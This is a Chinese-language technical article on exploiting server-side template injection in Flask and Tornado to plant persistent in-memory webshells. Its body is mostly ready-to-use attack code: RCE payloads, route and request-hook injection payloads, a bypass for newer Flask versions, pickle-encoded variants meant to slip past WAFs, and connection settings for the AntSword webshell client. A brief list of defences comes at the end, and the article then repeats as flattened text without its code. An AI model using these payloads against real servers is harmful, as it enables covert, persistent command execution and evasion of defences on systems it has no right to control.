Flask和Tornado的SSTI内存马注入技术研究
字数 1253 2025-08-22 12:23:41

Flask和Tornado的SSTI内存马注入技术研究

0x00 前言

本文详细研究Python SSTI(Server-Side Template Injection)漏洞在Flask和Tornado框架中的利用技术,特别是如何注入内存马(内存Webshell)并进行图形化管理。通过分析实际攻击案例,探索了多种绕过WAF的方法,并实现了与中国蚁剑的集成。

0x01 Flask SSTI基础研究

漏洞环境搭建

Flask SSTI漏洞通常出现在直接将用户输入拼接到模板中的情况:

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')
    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

基本利用方法

通过以下payload可以判断存在SSTI:

{{7*7}}  # 返回49则存在漏洞

关键Python魔术方法:

  • __class__ - 当前类
  • __mro__ - 所有父类
  • __subclasses__() - 所有子类
  • __globals__ - 全局变量
  • __builtins__ - Python内置标识符
  • __import__ - 导入模块

RCE Payload示例:

{{ ''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}

0x02 Flask内存马注入技术

基本内存马原理

内存马的核心思想是动态添加路由,在路由中执行恶意代码。Flask中可以使用app.add_url_rule()方法。

初始Payload尝试

网上常见但可能失效的Payload:

url_for.__globals__['__builtins__']['eval'](
    "app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read(), {'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'], 'app':url_for.__globals__['current_app']})"
)

有效Payload开发

通过flask.globals访问上下文变量:

{{ ''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['__builtins__']['eval']("__import__('flask').globals.current_app.add_url_rule('/abking123', 'abking123', lambda :__import__('os').popen(__import__('flask').globals.request.args.get('abking')).read())") }}

访问/abking123?abking=whoami即可执行命令。

新版Flask绕过技术

新版Flask在setupmethod装饰器中增加了校验函数,导致add_url_rule()失效。解决方案是使用before_requestafter_request

before_request Payload:

{{ ''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: CmdResp if __import__('sys').modules['__main__'].__dict__['request'].args.get('abking') and exec(\"global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get('abking')).read())\")==None else None)") }}

after_request Payload:

{{ ''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if __import__('sys').modules['__main__'].__dict__['request'].args.get('abking') and exec(\"global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get('abking')).read())\")==None else resp)") }}

0x03 加密传输技术

使用pickle.loads()进行反序列化实现加密传输:

import pickle
import base64

code = """def f():
    return __import__('os').popen('whoami').read()
f()"""

class Exp:
    def __reduce__(self):
        return __builtins__.exec, (code,)

base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)
pickle.loads(base64.b64decode(base64_class))

SSTI Payload中使用:

{{ ''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('BASE64_CODE_HERE'))") }}

0x04 中国蚁剑集成

低版本Flask内存马生成

import pickle
import base64

code = """def f():
    return __import__('flask').globals.current_app.add_url_rule('/abking123', 'abking123', lambda: __import__('os').popen(__import__('flask').globals.request.form['abking']).read(), methods=['POST'])
f()"""

class Exp:
    def __reduce__(self):
        return __builtins__.exec, (code,)

base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)

通杀版本Flask内存马生成

import pickle
import base64

code = """def f():
    return __import__('flask').globals.current_app.before_request_funcs.setdefault(None, []).append(lambda: CmdResp if __import__('flask').globals.request.form.get('abking') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('flask').globals.request.form.get('abking')).read())")==None else None)
f()"""

class Exp:
    def __reduce__(self):
        return __builtins__.exec, (code,)

base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)

蚁剑连接配置

  • URL: http://target/abking123
  • 密码: abking
  • 方法: POST

0x05 Tornado内存马注入

基础SSTI环境

import tornado.ioloop
import tornado.web

class IndexHandler(tornado.web.RequestHandler):
    def get(self):
        tornado.web.RequestHandler._template_loaders = {}  # 清空模板引擎
        with open('index.html', 'w') as (f):
            f.write(self.get_argument('name'))
        self.render('index.html')

app = tornado.web.Application([(r"/", IndexHandler)],)
app.listen(5000, address="127.0.0.1")
tornado.ioloop.IOLoop.current().start()

RCE Payload

{{handler.application.settings['autoreload']=False;handler.application.settings['compiled_template_cache']=False;handler._template_loaders={};handler.application.add_handlers(".*$", [(r"/abking123", type("x", (__import__("tornado").web.RequestHandler,), {"post": lambda x: x.write(str(__import__('os').popen(x.get_argument("abking")).read()))}) )])}}

蚁剑兼容Payload

{{handler.application.add_handlers(".*$", [(r"/abking123", type("x", (__import__("tornado").web.RequestHandler,), {"post": lambda x: x.write(str(__import__('os').popen(x.get_argument("abking")).read()))}) )])}}

加密版本

import pickle
import base64

code = """def f():
    return handler.application.add_handlers(".*$", [(r"/abking123", type("x", (__import__("tornado").web.RequestHandler,), {"post": lambda x: x.write(str(__import__('os').popen(x.get_argument("abking")).read()))}) )])
f()"""

class Exp:
    def __reduce__(self):
        return __builtins__.exec, (code,)

base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)

0x06 防御建议

  1. 避免直接将用户输入拼接到模板中
  2. 使用模板引擎的安全配置,如Jinja2的autoescape
  3. 及时更新框架版本
  4. 部署WAF规则检测SSTI特征
  5. 监控异常路由添加行为
  6. 限制pickle反序列化操作

0x07 总结

本文详细研究了Flask和Tornado框架中的SSTI漏洞利用技术,特别是内存马注入方法。通过多种技术手段实现了:

  • 基础SSTI到RCE的利用
  • 内存马的注入与持久化
  • 新版Flask的绕过技术
  • 加密传输绕过WAF
  • 与中国蚁剑的集成

这些技术对于红队渗透测试和蓝队防御都具有重要参考价值。

Flask和Tornado的SSTI内存马注入技术研究 0x00 前言 本文详细研究Python SSTI(Server-Side Template Injection)漏洞在Flask和Tornado框架中的利用技术,特别是如何注入内存马(内存Webshell)并进行图形化管理。通过分析实际攻击案例,探索了多种绕过WAF的方法,并实现了与中国蚁剑的集成。 0x01 Flask SSTI基础研究 漏洞环境搭建 Flask SSTI漏洞通常出现在直接将用户输入拼接到模板中的情况: 基本利用方法 通过以下payload可以判断存在SSTI: 关键Python魔术方法: __class__ - 当前类 __mro__ - 所有父类 __subclasses__() - 所有子类 __globals__ - 全局变量 __builtins__ - Python内置标识符 __import__ - 导入模块 RCE Payload示例: 0x02 Flask内存马注入技术 基本内存马原理 内存马的核心思想是动态添加路由,在路由中执行恶意代码。Flask中可以使用 app.add_url_rule() 方法。 初始Payload尝试 网上常见但可能失效的Payload: 有效Payload开发 通过 flask.globals 访问上下文变量: 访问 /abking123?abking=whoami 即可执行命令。 新版Flask绕过技术 新版Flask在 setupmethod 装饰器中增加了校验函数,导致 add_url_rule() 失效。解决方案是使用 before_request 或 after_request 。 before_ request Payload : after_ request Payload : 0x03 加密传输技术 使用 pickle.loads() 进行反序列化实现加密传输: SSTI Payload中使用: 0x04 中国蚁剑集成 低版本Flask内存马生成 通杀版本Flask内存马生成 蚁剑连接配置 URL: http://target/abking123 密码: abking 方法: POST 0x05 Tornado内存马注入 基础SSTI环境 RCE Payload 蚁剑兼容Payload 加密版本 0x06 防御建议 避免直接将用户输入拼接到模板中 使用模板引擎的安全配置,如Jinja2的 autoescape 及时更新框架版本 部署WAF规则检测SSTI特征 监控异常路由添加行为 限制pickle反序列化操作 0x07 总结 本文详细研究了Flask和Tornado框架中的SSTI漏洞利用技术,特别是内存马注入方法。通过多种技术手段实现了: 基础SSTI到RCE的利用 内存马的注入与持久化 新版Flask的绕过技术 加密传输绕过WAF 与中国蚁剑的集成 这些技术对于红队渗透测试和蓝队防御都具有重要参考价值。